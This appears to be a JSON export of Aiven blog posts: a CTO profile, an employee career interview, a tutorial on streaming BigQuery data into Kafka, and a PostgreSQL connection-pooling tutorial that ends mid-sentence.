{"__i18n_lang":"en","_createdAt":"2023-12-15T09:39:13Z","_id":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_rev":"Do3156plRwIXmiihO3xiZL","_type":"post","_updatedAt":"2023-12-20T14:09:43Z","authors":[{"_key":"cb651304067a","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Brian Wagner’s career in IT started in a way that is familiar to many – as a 15-year old with an indelible interest in computers and software. Where Brian differs from many is that by 16 he was already a professional, building solutions that people would pay for. \n\nAnd what Brian learnt when he was 16 applies just as much today as it did then: it is less about the actual technology and more about what the technology does for people that matters. It’s a principle he has applied in every role at every company he’s worked at, seeing himself as a problem solver as much as an engineer. This ethos has guided his journey to his current position as CTO of Revenir and it’s a way of thinking we fully endorse at Aiven.\n\n![Brian Wagner Revenir](https://cdn.sanity.io/images/sczeoy4w/production/e09858f27d27718d69de269f4a31c7c31134f4dc-6000x4000.jpg)\n\n## Security, compliance and understanding regulators\nRevenir is a London-based fintech that automates tax recovery through partnerships with banks, governments and digital receipt companies. Revenir’s technologies can be implemented by banks to generate revenue and add value to their own digital interface, which places them in a strict regulatory environment, where highly sensitive data is shared every day. \n\nIn his position as CTO, therefore, Brian is now very much concerned with solving cybersecurity problems, and ensuring that both Revenir’s services and its customers are compliant with a number of national and international regulations. \n\nAlthough there are particular challenges that apply to the financial sector, Brian sees his role as similar to that of his peers in other heavily regulated sectors. Revenir has to satisfy its customers, but those customers have to satisfy the regulators - which means, ultimately, that Revenir has to satisfy them too. For some, that’s just a box-ticking exercise. But for Brian, it’s about understanding what those regulators are trying to achieve and what the implications of that are. \n\n“That’s the basis for understanding the potential risk that actual customers face, or feel they could face, when adopting a new product or solution,” he says. “We can then build in all the necessary mitigations that will assure them that the product is safe to use, and that their data will be safe at every stage.” \n\n::youtube[The power of collaboration and partnership]{#BunNkOHq8gI}\n_Fireside Chat between our CEO, Oskari Saarenmaa and Brian Wagner, CTO at Revenir_\n\n## Collaboration and open source for better solutions\nBrian’s work at Revenir also exemplifies his core beliefs in other ways, notably the need for collaboration and partnership. “Security and compliance often feel like areas that are in deep competition,” he says. “And certainly strong security measures can create a competitive edge for a business. But as leaders, we can collaborate, develop best practice, set industry standards and inspire others to follow suit.” \n\nBrian acknowledges that there is a fine line to be negotiated. Sharing intimate secrets has not traditionally been a recipe for business success, after all. But in the case of security and compliance, if the total pool of knowledge, and problem-solving experience is wide and deep then it helps more businesses to succeed. \n\nRevenir uses the Aiven open source data platform, which was not an accident. Brian believes that open source technology represents the ultimate form of collaboration – not least because it enables greater co-operation and idea sharing between individuals both within a company and across companies. \n\n“The problems we have to solve may appear to be industry-specific on the surface, but they often have root causes and solutions that are common to a far wider community of potential experts,” he says. “We may have similar principles on things like access management, or firewalls, or whatever it is. Using open source means we can collaborate these things. We can learn from each other. I firmly believe that leaders are also learners – and if we work in a common open source environment, it is easier to build better, more innovative and yet safer products.”  \n\nOpen source also plays a key role in encouraging a culture of innovation in security and compliance, empowering teams to think beyond conventional boundaries. \n\n“As a technology leader it’s my job to make sure that everybody that contributes – engineers and managers and architects – understands the common goal of the business. I want to empower my technical teams to understand where the business is going so they can bring their own ideas and experience to the solution, and embed security principles at the beginning of the development process.” Inevitably that leads to better job satisfaction, but it’s also the path to faster and more sustainable growth.  \n\n![Brian Wagner Social Banner 2](https://cdn.sanity.io/images/sczeoy4w/production/9cd24fc90e6aa1eb6744739a54d6f74716b649da-1200x628.png)\n\n## Future vision – and building on basics\nAs to what comes next, Revenir is at the forefront of using artificial intelligence (AI) to support its customers – and as far as the security function goes, this is just the beginning. As Brian points out, one of the common threads about security in any technical industry is being able to detect what's normal – and what is not. \n\n“AI is fantastic for that. It excels at pattern recognition, even the smallest deviations, so it can spot threats as they arise. But it’s also good at following rules, which is the fundamental principle of compliance, so it can really deliver there too. And if it's got some understanding of your architecture, and your service, it can proactively fix and problems – or at least flag them up. And I’m sure generative AI and large language models will improve cybersecurity knowledge overall, which helps everyone.” \n\nNonetheless, the need for the basics is never going away. “Things like access management, identity management – they’re still the bedrock of security, especially as we move away from the traditional data center world to a more service-oriented environment like Aiven’s, where access and identity management is key.\n\n“However sophisticated our technology is, and however well we mitigate risks in its design, we still put it in the hands of humans – who will always be the weakest link. Even experienced CTOs make mistakes. I think if you’re going to be a tech leader, you need to remember your own frailties now and then. You’ll develop safer services – and protect more customers in the long run.”\n","categories":[{"_key":"60a3a0f9cd49","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"f3968b5f7bdb","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"d3621e84-f1a2-41c1-bf9b-e92e70b231ef","_type":"reference"},"ctaText":"Read the blog","previewImage":{"_type":"mainImage","asset":{"_ref":"image-a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Leader Insights, Agents of Change, CxO, CTO, CIO, Customer Story, Security, Open Source, AI","asset":{"_ref":"image-a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-14T07:13:00.000Z","related":[{"_key":"a8a1366b5d13","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"01f7118b03ed","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"be85c2f28b9a","_ref":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Securing Fintech Futures: Brian Wagner, Revenir's CTO, Pioneers Open Source Collaboration and AI-Driven Solutions in Regulatory Compliance.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628-png","_type":"reference"}},"metaTitle":"Brian Wagner, Revenir: A Collaborative CTO "},"slug":{"_type":"slug","current":"/blog/brian-wagner-revenir-a-collaborative-cto"},"subtitle":"Securing Fintech Futures: Brian Wagner, Revenir's CTO, Pioneers Open Source Collaboration and AI-Driven Solutions in Regulatory Compliance.","title":"Brian Wagner, Revenir: A Collaborative CTO "}
{"__i18n_lang":"en","_createdAt":"2023-10-27T10:41:05Z","_id":"5f3fb605-8886-4d42-84ac-96a3c6b8cbbb","_rev":"yGYi2HTu7doJg1fO7hJxnx","_type":"post","_updatedAt":"2023-11-02T10:36:32Z","authors":[{"_key":"18132d16e6a1","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"}],"body":"Having a close relationship with family has always been important to Galo. His family has been his biggest influence, they provide unconditional love and push him to be the best version of himself, encouraging him to believe in all of his dreams.  \n\nGalo is the youngest son in his family. At the age of 18, he courageously decided to move from hometown Ecuador to Belgium to learn French. Seven years later, he still finds it difficult to be away from family (only seeing them once a year). \n\n“My family never held me back and always gave me the support and love to follow my dreams, especially my older brother. We always look back at that moment and they always repeat - you were very brave to move abroad so far at such a young age, not sure If I could have done it.”\n\nIt’s thanks to this wanderlust that he’s had the opportunity to live in multiple European countries; from Belgium, to France, to Italy, and now Germany. Making friends from different cultures and languages, all of these experiences have helped shape him to be the person he is today.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ef3dd199ff65a083d26aab28f654b31ad703bdca-743x779.png?w=450)\n\n*Galo and his older brother Ruben in Barcelona*\n\n## Please tell us a bit about yourself.\n\nI like to live my life under two mottos: “The biggest risk is not taking any risk” and “If you’re not failing, you’re not learning.”\n\n## What brought you to Aiven? \n\nI joined Aiven 2 years ago. I wanted to be a part of the start-up hypergrowth, and challenge myself with a really cool product! I also really enjoyed the logo and the core values at Aiven.\n\n## Tell us about your career journey at Aiven.\n\nI remember we were still under 300 employees and just a few days after we passed that mark. I joined as an SDR (Sales Development Representative) to help build the EMEA SDR team, and develop some processes to make outbound lead generation successful. It has been a rocky road, but fast forward to last [Crab Week (2023)](https://aiven.io/blog/crab-week-2023-wrap-up) in Portugal, I received the sales award of [SDR of the year](https://www.linkedin.com/posts/galo-freile_crabweek2023-activity-7057731709068275712-FFmg?utm_source=share\u0026utm_medium=member_desktop) for my consistent overperformance throughout multiple quarters. Learning a lot on the way, this journey led me to a promotion just after Crab Week as an Account Executive. Indeed, a pretty nice 2 year journey, and can’t wait for what the future holds!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/0a11d0aee91e5f562e4f077ea8da5fc1f1ad5634-630x567.png?w=450)\n\n*Winner - SDR of the year 2023!*\n\n\n## What path led you to being an Account Executive? \n\nMy journey to becoming an Account Executive has been shaped mostly by my ability to connect with people, and genuine interest in helping individuals and companies overcome their challenges. Living in various European cities and countries has helped me with my communication skills and understanding of multiple cultural perspectives.\n\n## What do you love most about your role? (and not love, we're sure it's not all good!) \n\nWhat I love most about being an Account Executive is the opportunity to build meaningful relationships with clients and understand their unique needs. I enjoy being able to tailor solutions that not only address their current problems but also contribute to their long term success. The thrill of securing new partnerships and the satisfaction of seeing clients thrive because of our collaboration are incredibly rewarding aspects of this position.\n\nOn the other hand, what I find challenging at times is balancing the multiple tasks at hand and demands of different clients simultaneously. It can be a juggling act, but it's also a learning experience that continually pushes me to improve my time management and communication skills.\n\n## Tell us about a typical day as an Account Executive at Aiven. \n\nI start every work day next to a cup of coffee. From there, I have multiple tasks to accomplish. Most days vary due to the unpredictable and unexpected challenges that arise. If I had to summarize, it would look like this:\n\n**Morning preparation (next to a cup of coffee)**\n\n- I start the day by reviewing my schedule and prioritizing tasks (could be new or existing customers). \n\n- Checking emails and messages to address any urgent client inquiries or requests.\n\n**Meetings and presentations**\n\n- Scheduling and conducting meetings with customers (mostly virtually). \n\n- Collaborating with colleagues, such as SAs or team members to exchange opinions on the opportunities.\n\n**Negotiations and proposals**\n\n- Collaborate with clients to negotiate terms, pricing, and contracts. \n\n- Prepare proposals and quotes. \n\n- Follow up on proposals and provide additional information or clarification as needed.\n\n**Client relationship management**\n\n- Build and nurture strong relationships with clients. \n\n- Address and resolve any client issues or concerns promptly and effectively.\n\n- Seek opportunities to upsell additional services to existing clients.\n\n**Continuous learning and development**\n\n- I always try to stay up-to-date with the latest sales leaders and industry knowledge.\n\n## What is your team responsible for? \n\nMy team (and the whole Sales function) is responsible for identifying potential customers, managing relationships with existing customers to ensure their needs are met, and increasing revenue.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/b8aaf6c5b5fb9b3eb6bba9f7f6353350334fae4e-6048x4024.jpg?w=450)\n\n*Galo and the SDR Team in Portugal at Crab Week 2023*\n\n## What kind of person would do well on your team?\n\nThe first thing that comes to mind is someone that is able to adapt rapidly to changing environments. As there is almost no typical day in Sales, with new tasks, customer requests, and changes, someone that is able to adapt would do great in the team. Also someone that enjoys building relationships and helping customers achieve their goals. A person that enjoys challenges and is very goal-oriented. Sales is target-driven, so being motivated by and focused on achieving sales goals is essential.\n\n## As a member of our growing Sales function, what advice would you give to new Crabs joining this department?\n\n1. Sales is a field that is changing constantly so don’t be afraid to experiment. One of Aiven’s core values is openness which really means that we’re able to try different things and take ownership of a project from top to bottom. It’s always a great idea to share and exchange insights, ideas, and tips with your colleagues.\n\n2. Time-management and prioritization of tasks. It’s easy to get lost between managing existing customers, new customers, customer demands, and internal processes. So being able to have a weekly plan and tasks that need to be accomplished can help you prioritize your time in the right way. \n\n3. Build a strong customer relationship by having a customer-centric approach! Building relationships with customers will create trust and credibility. When customers know you, trust your recommendations, and believe that you have their best interests at heart, they are more likely to do business with you!\n\n## What are you most excited about for Aiven’s future? \n\nBeing at Aiven for 2 years, I’ve seen a lot of changes from a start-up to a scale up. Aiven’s future is quite exciting! Mainly the new direction we have taken in the platform side - expanding our services and features to match the needs and problems of customers. This will allow current and new customers to meet their goals and be more efficient.\n\nThanks, Galo for the insightful chat!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Crabs.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). ","categories":[{"_key":"4b9c17b62d0d","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"69adb4c64cd1","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"0f3adce6a0fb","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Galo Freile, Commercial Account Executive, Aiven, Aiven logo, Interview, Career progression, Growth, Career in Sales","asset":{"_ref":"image-075c43cf00ace671c50b03ef5e00a1c60721c21f-752x405-png","_type":"reference"}},"publishedAt":"2023-11-02T10:30:04.413Z","related":[{"_key":"fdc6c29916f1","_ref":"76e20acf-16a0-494f-8632-622f1d945ed5","_type":"reference"},{"_key":"05b3ed1ce4f7","_ref":"c3317e7b-b935-43d1-9665-8169a5ebdf91","_type":"reference"},{"_key":"0ed185471953","_ref":"cc563d6c-d018-4a2f-9d79-1b42f3117863","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Meet Galo Freile, a Commercial Account Executive based in Berlin. We learn about his journey to Aiven, a recent promotion and how he became our SDR of the year! ","metaImage":{"_type":"mainImage","alt":"Galo Freile, Commercial Account Executive, Aiven, Aiven logo, Interview, Career progression, Growth, Career in Sales","asset":{"_ref":"image-075c43cf00ace671c50b03ef5e00a1c60721c21f-752x405-png","_type":"reference"}},"metaTitle":"My journey to Aiven: Galo Freile, Commercial Account Executive "},"slug":{"_type":"slug","current":"/blog/my-journey-to-aiven-galo-freile"},"subtitle":"Meet Galo Freile, a Commercial Account Executive based in Berlin. We learn about his journey to Aiven, a recent promotion and how he became our SDR of the year! ","title":"My journey to Aiven: Galo Freile, Commercial Account Executive "}
{"__i18n_lang":"en","_createdAt":"2024-08-05T08:10:21Z","_id":"608035ae-116a-44bf-8967-4ca9e0fba7ed","_rev":"5y7swPKAcYPWMoG0mu4yz7","_type":"post","_updatedAt":"2024-08-08T06:56:08Z","authors":[{"_key":"7444f1dd4770","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},{"_key":"636f68305d1b","_ref":"e98895f5-efb2-4876-925b-f5dfac32abf2","_type":"reference"}],"body":"BigQuery enables customers to quickly generate insights about their data. Its native integration with AI tools allows organizations to transform row assets into valuable information that can be used to generate more accurate decisions, streamlining companies' growth.\n\nTraditionally, these insights would only have been available to operational workflows using a batch approach, causing a delay between when the insight is created and when it can be used. Now there's a native option to bring this enhanced data back to streaming workflows with [BigQuery continuous queries](https://cloud.google.com/bigquery/docs/continuous-queries-introduction).\n\nThis allows companies to benefit from curated and enriched BigQuery datasets in real time, feeding the data into streaming tools like Aiven for Apache Kafka®, which makes the enriched information available to downstream systems. \n\nAiven's data and AI platform provides unified solutions for handling data, and is a great complement to the use of Google BigQuery. Aiven for Apache Kafka is the natural choice for ingesting streaming data and delivering them to downstream data solutions in real time, including BigQuery. Until recently getting data from BigQuery back into the Aiven platform required batch techniques. Now, with continuous query, the loop is closed, and Aiven and BigQuery can act as fully integrated partners. You can start a [free Aiven trial directly in the Google Marketplace](https://console.cloud.google.com/marketplace/product/aiven-public/aiven?hl=en).\n\nWith continuous queries, Google introduces the ability to extract real time data from Google Cloud BigQuery. The data can be written back out to Google Pub/Sub and then to Apache Kafka, enabling the Reverse ETL pattern and allowing users to get real-time insights into their BigQuery data.\n\n## What is Reverse ETL?\n\nThe ETL (extract, transform, load) pattern is a powerful approach used to take operational data and make it available in analytics storage such as Google Cloud BigQuery.\n\nAiven customers are familiar with using Apache Kafka® as a key component in this pattern. The **Extract** typically uses an Apache Kafka Connector to extract data from a data source such as Aiven for PostgreSQL®, Aiven for Opensearch® or Aiven for Valkey. **Transform** describes the schema and data refinement stage, adjusting the data to a form suitable for **Load** into BigQuery itself. BigQuery is chosen because of its sophisticated capabilities and scalability, and can be thought of acting as a data warehouse as well as a powerful analytics engine.\n\nTypical use cases include Retail, E-commerce and Gaming. For more information, see last year’s article [Shorten the path to insights with Aiven for Apache Kafka and Google BigQuery](https://cloud.google.com/blog/products/data-analytics/stream-data-with-open-source-kafka-by-aiven-analyze-with-bigquery). \n\nReverse ETL is then the process that allows *extracting* information from analytics storage, generally into business applications, in order to feed downstream applications with the insights obtained from the analytics platform.\n\nReverse ETL is a powerful tool to leverage data in operational systems for enhanced decision making and improved customer experiences. It democratizes data and makes insights available to non-technical users directly in their operational tools, like CRMs, marketing automation platforms, or support ticketing systems, enabling them to make data-driven decisions without relying on data teams. For example, sales and marketing teams can access a 360-degree view of customers, including purchase history, website interactions, and demographic data, leading to more personalized campaigns and targeted communication.\n\n## What is BigQuery continuous queries?\n\n[BigQuery continuous queries](https://cloud.google.com/bigquery/docs/continuous-queries-introduction) provide customers with the ability to run continuously processing SQL statements that can analyze, transform, and externally replicate data as new events arrive into BigQuery in real time. This approach extends BigQuery’s real-time capabilities to handle continuous streams of input, analysis, and output; which can be leveraged to construct event-driven actionable insights, real-time machine learning inference, operational reverse ETL pipelines, and more. You can insert the output rows produced by a continuous query into a BigQuery table or export them to Pub/Sub or Bigtable. \n\nThis essentially transforms BigQuery from the analytical data sink at the end of data’s architectural journey into an operational and event-driven data processing engine in the middle of an application’s decision logic, all using the user-friendly language of SQL.\n\n## How Aiven users benefit from this integration\n\nAiven users already benefit from the Aiven platform’s stream, store and serve approach.  \nThey are already using Kafka as a backbone to move data between systems, such as PostgreSQL, MySQL, OpenSearch and Valkey. Until now, it has been possible to stream data from Kafka to BigQuery, but not to stream it out. The new capability fills that gap, allowing Google BigQuery users to take full advantage of the Aiven Platform.\n\n![Data into BigQuery, continuous quries into Pub/Sub, then via connector into Aiven for Kafka, and then into other services](https://cdn.sanity.io/images/sczeoy4w/production/b419b65d08e2aa4170dd1f52d99c46b16ada1f6f-2302x808.png)\n\n## How BigQuery continuous query works with Aiven for Apache Kafka\n\n\n1. Aiven for Apache Kafka Connect uses a service account to connect and consume data from Pub/Sub, you can configure a single service account for running continuous queries and consume from Pub/Sub by assigning relevant permissions to the user. You can configure the service account with permissions listed [here](https://cloud.google.com/bigquery/docs/export-to-pubsub\\#service\\_account\\_permissions\\_2). Make sure you create a JSON key to configure the connection in Aiven in the later step.\n\n2. To run continuous queries, BigQuery requires a slot reservation with a “**CONTINUOUS**” assignment type. Follow steps [here](https://cloud.google.com/bigquery/docs/continuous-queries\\#create\\_a\\_reservation) if you are not sure how to create a reservation.\n\n3. Navigate to the  [Pub/Sub](https://console.cloud.google.com/cloudpubsub/topic) topic page and click on the “Create Topic” button on the top center of the page, and provide a name (say ‘*continuous\\_query\\_topic*’, also create a default subscription if needed).\n\n4. Navigate to the [BigQuery](https://console.cloud.google.com/bigquery) service page and design the query as an [export to pub/sub](https://cloud.google.com/bigquery/docs/export-to-pubsub\\#export-pubsub). \n\t\n    ```\n    EXPORT DATA\n    OPTIONS (\n    format = 'CLOUD_PUBSUB',\n    uri = 'https://pubsub.googleapis.com/projects/\u003cyour project_id\u003e/topics/continuous_query_topic'\n    ) AS\n    (\n    \u003cYour Query\u003e\n    );\n    ```\n\n    In the More Settings as shown below, select the **query mode** as **continuous query** and in the **query settings** select the service account created above to run the query. You can also choose the timeout required, if any. \n\n    ![Select query mode as continuous query, and chose the service account](https://cdn.sanity.io/images/sczeoy4w/production/d284c1e3dfcadf6f2fb0caef21173a51d30f57a0-1898x1202.png)\n\n    Before executing the query, make sure the below steps are done to ensure data continuously generated can be captured by the Aiven Pub/Sub connector.\n\n5. Once logged into the Aiven console, create an Aiven for Apache Kafka service.\n\n    ![Create a new Aiven for Apache Kafka service](https://cdn.sanity.io/images/sczeoy4w/production/9adeec5d11d9a8e3c638ec4640633531b2932375-1999x1036.png)\n\n6. Select the Google Cloud region most convenient for your use case.  \n\n    ![Select the Google Cloud region](https://cdn.sanity.io/images/sczeoy4w/production/f0f256cb6a439ceb45522d5557e066d2569720a7-886x689.png)\n\n7. Choose a suitable service plan. For the purposes of this blog we are using a `business-4` plan since it will allow us to start Kafka Connect on the same nodes.\n\n8. Click on “Create Service”.\n\n9. Enable Kafka Connect on the same nodes where Kafka is running:\n\n    * Navigate to the “**Service Settings**”  \n    * Locate the “**Service Management**” section  \n    * Click on the hamburger menu on the top right and select “**Enable Kafka Connect**”\n\n    ![Enable Kafka Connect](https://cdn.sanity.io/images/sczeoy4w/production/28aa7dbfbdf07063248cf01031d8727cf60fb2ca-1999x611.png)\n\n10. Enable Kafka **REST API (Karapace)** in the same “**Service Management**” section as step 9\\. This will allow us to browse the data landing in Apache Kafka directly from the Aiven Console.\n\n11. Verify the service is in `RUNNING` state and navigate to the **Topics** section to create a topic called `reverse-ETL-bigquery-kafka.`\n\n    ![Create topic](https://cdn.sanity.io/images/sczeoy4w/production/61367cfc258274b27245f976eef437682300f241-596x306.png)\n\n12. Navigate to the “**Connectors**” section and Click on **See all connectors**. Then locate the **Google Cloud Pub/Sub Source** connector and click on **Get Started.**\n\n    ![Select Google Cloud Pub/Sub Source connector](https://cdn.sanity.io/images/sczeoy4w/production/5f73cfe56a480cda243063bd93907217ea68fb8f-1999x1089.png)\n\n   \n13. In the **Connection configuration** section, substitute the JSON with the following:\n\n    ```json\n    {\n        \"name\": \"reverse-ETL-bigquery-kafka\",\n        \"kafka.topic\": \"topic-name\",\n        \"cps.project\": \"gcp-project-name\",\n        \"cps.subscription\": \"continuous_query_topic-sub\",\n        \"gcp.credentials.json\": \"KEY\"\n    }\n    ```\n\n    Where:\n\n    * `name`: is the Kafka Connect connector name  \n    * `kafka.topic`: is the target topic name  \n    * `cps.project`: is the GCP project name  \n    * `cps.subscription`: is the Google Pub/Sub subscription name  \n    * `gcp.credential.json`: is the [GCP credential file in JSON format](https://aiven.io/docs/products/kafka/kafka-connect/howto/gcp-bigquery-sink-prereq\\#gcp-bigquery-sink-connector-google-account?utm\\_source=blog\\\u0026utm\\_medium=organic\\\u0026utm\\_campaign=blog\\_kafka\\_bigquery\\_google\\\u0026utm\\_content=continuous\\_queries)\n\n14. Once the Apache Kafka Pub/Sub connector starts up, you can navigate to BigQuery and run the continuous query defined above. You should start seeing the messages arriving in the Kafka topic defined in the connector.\n\n15. Once the data lands in the Apache Kafka topic, you can read it in streaming mode with dedicated consumers or create sink connectors to push the events into downstream applications as your use case demands.\n\n## Conclusion and Next Steps\n\nThe ability to extract data from BigQuery in near real time, and combine it with the streaming capabilities of Apache Kafka, allows customers to maximize the impact of using BigQuery for insights and effect.\n\nFor those already using Kafka and BigQuery in an ETL workflow, the additional capabilities provide Reverse ETL, closing the data loop.\n\nLearn more about [Google Cloud BigQuery](https://cloud.google.com/bigquery), [continuous queries](https://cloud.google.com/bigquery/docs/continuous-queries-introduction) and [exporting data to Pub/Sub](https://cloud.google.com/bigquery/docs/export-to-pubsub). \n\nIf you would like to experience this for yourself, [click here](https://console.cloud.google.com/marketplace/product/aiven-public/aiven?hl=en) to check out Aiven’s listing on Google Cloud Marketplace or [sign in](https://pantheon.corp.google.com/marketplace/product/aiven-public/aiven?organizationId=433637338589) to your Google account.\nYou can also visit [Aiven for Apache Kafka](https://aiven.io/kafka?utm\\_source=blog\\\u0026utm\\_medium=organic\\\u0026utm\\_campaign=blog\\_kafka\\_bigquery\\_google\\\u0026utm\\_content=continuous\\_queries) to discover the features, plans, and options available for a managed Apache Kafka service.\n","mainImage":{"_type":"mainImage","alt":"Reverse your ETL: Stream BigQuery data to Aiven for Apache Kafka® with continuous queries","asset":{"_ref":"image-f15ac4aa00db7f6fd2c6b1bd8cceeefe75510c46-1200x628-png","_type":"reference"}},"publishedAt":"2024-08-06T14:00:54.216Z","slug":{"_type":"slug","current":"/blog/bigquery-changes-in-real-time-to-kafka"},"subtitle":"BigQuery continuous queries enable the reverse ETL pattern. You can now stream your enriched data from BigQuery back to the operational data layer using Aiven for Apache Kafka®.","title":"Reverse your ETL: Stream BigQuery data to Aiven for Apache Kafka® with continuous queries"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1aEFNTpUX4LItERV4BsthQ","_rev":"on5KSabgAN0raW406ZJONF","_type":"post","_updatedAt":"2024-02-09T09:47:13Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We're happy to announce that Aiven for PostgreSQL now has support for connection pools. Connection pooling allow you to maintain very large numbers of connections to a database while keeping the server resource usage low.\n\nAiven for PostgreSQL connection pooling utilizes PGBouncer for managing the database connection and each pool can handle up to **5000 database client connections**. Unlike when connecting directly to the PostgreSQL server, each client connection does not require a separate backend process on the server. PGBouncer automatically interleaves the client queries and only uses a limited number of actual backend connections, leading to lower resource usage on the server and better total performance.\n\n### Why connection pooling?\n\nEventually a high number of backend connections becomes a problem with PostgreSQL as the resource cost per connection is quite high due to the way PostgreSQL manages client connections. PostgreSQL creates a separate backend process for each connection and the unnecessary memory usage caused by the processes will start hurting the total throughput of the system at some point. Also, if each connection is very active, the performance can be affected by the high number of parallel executing tasks.\n\nIt makes sense to have enough connections so that each CPU core on the server has something to do (each connection can only utilize a single CPU core [1]), but a hundred connections per CPU core may be too much. All this is workload specific, but often a good number of connections to have is in the ballpark of 3-5 times the CPU core count.\n\n[1] PostgreSQL 9.6 introduced limited parallelization support for [running queries in parallel](https://www.postgresql.org/docs/9.6/parallel-query.html) on multiple CPU cores.\n\nWithout a connection pooler the database connections are handled directly by PostgreSQL backend processes, one process per connection:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/7a2a86c447f975caa3595a0d2b0a57415e3e6318-640x279.png)\n\nAdding a PGBouncer pooler that utilizes fewer backend connections frees up server resources for more important uses, such as disk caching:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/3a345fc0c4b48481a275c481ef78318ee8db7614-640x278.png)\n\nMany frameworks and libraries (ORMs, Django, Rails, etc.) support client-side pooling, which solves much the same problem. However, when there are many distributed applications or devices accessing the same database, a client-side solution is not enough.\n\n### Connection pooling modes\n\nAiven PostgreSQL supports three different operational pool modes: \"session\", \"transaction\" and \"statement\".\n\n*   The **\"session\"** pooling mode means that once a client connection is granted access to a PostgreSQL server-side connection, it can hold it until the client disconnects from the pooler. After this the server connection will be returned back into the connection pooler's free connection list to wait for its next client connection. Client connections will be accepted (at TCP level), but their queries will only proceed once another client disconnects and frees up its backend connection back into the pool. This mode can be helpful in some cases for providing a wait queue for incoming connections while keeping the server memory usage low, but has limited usefulness under most common scenarios due to the slow recycling of the backend connections.\n\n*   The **\"transaction\"** pooling mode on the other hand allows each client connection to take their turn in using a backend connection for the duration of a single transaction. After the transaction is committed, the backend connection is returned back into the pool and the next waiting client connection gets to reuse the same connection immediately. In practise this provides quick response times for queries as long as the typical transaction execution times are not excessively long. This is the most commonly used PGBouncer mode and also the Aiven PostgreSQL default pooling mode.\n\n*   The third operational pooling mode is **\"statement\"** and it is similar to the \"transaction\" pool mode, except that instead of allowing a full transaction to be run, it cycles the server side connections after each and every database statement (SELECT, INSERT, UPDATE, DELETE statements, etc.) Transactions containing multiple SQL statements are not allowed in this mode. This mode is sometimes used for example when running specialized sharding front-end proxies.\n\n### How to get started with Aiven PostgreSQL connection pooling\n\nFirst you need an Aiven PostgreSQL service, for the purposes of this tutorial we assume you already have created one. A quick\n[Getting Started guide](https://help.aiven.io/en/articles/489573-getting-started-with-aiven-postgresql)\nis available that walks you through the service creation part.\n\nThis the overview page for our PostgreSQL service in the Aiven web console. You can connect directly to the PostgreSQL server using the settings described next to \"Connection parameters\" and \"Service URL\", but note that these connections will not utilize PGBouncer pooling.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/ae626c7e4cf3f317a02f75185b1067d37f0fb474-640x400.png)\n\nClicking the \"Pools\" tab opens a list of PGBouncer connection pools defined for the service. Since this service was launched, there are no pools defined yet:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/a06f70a67be0c54928da1894bf4eac8491ed842f-640x399.png)\n\nTo add a new pool click on the \"Add pool\" button:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/e3b5a806bd2d19b3f4ff687101cc13c89855e06e-640x398.png)\n\nThe pool settings are:\n\n*   **Pool name:** Allows you to name your connection pool. This will also become the \"database\" or \"dbname\" connection parameter for your pooled client connections.\n*   **Database**: Allows you to choose which database to connect to. Each pool can only connect to a single database.\n*   **Username:** Selects which database username to use when connecting to the backend database.\n*   **Pool mode:** Refers to the pooling mode descried in more detail earlier in this article.\n*   **Pool size:** How many PostgreSQL server connections can this pool use at a time.\n\nFor the purposes of this tutorial we'll name the pool as \"mypool\" and set the pool size as 1 and the pool mode as \"statement\". Confirming the settings by clicking \"Add pool\" will immediately create the pool and the pool list is updated:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/de072d68e2295d87c8e002bd1abb29648012983f-640x398.png)\n\nClicking the \"Info\" button next to the pool information shows you the database connection settings for this pool. Note that PGBouncer pools are available **under a different port number** from the regular unpooled PostgreSQL server port. Both pooled and unpooled connections can be used at the same time.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/01621e55b2d2a5266e2c8ddf3b949e71a8dc8264-640x398.png)\n\n### Verifying the connection pool\n\nWe can use the psql command-line client to verify that the pooling works as supposed:\n\nFrom terminal #1:\n\n```\n$ psql \u003cpool-uri\u003e\n```\n\nFrom terminal #2:\n\n```\n$ psql \u003cpool-uri\u003e\n```\n\nNow we have two open client connections to the PGBouncer pooler. Let's verify that each connection is able access the 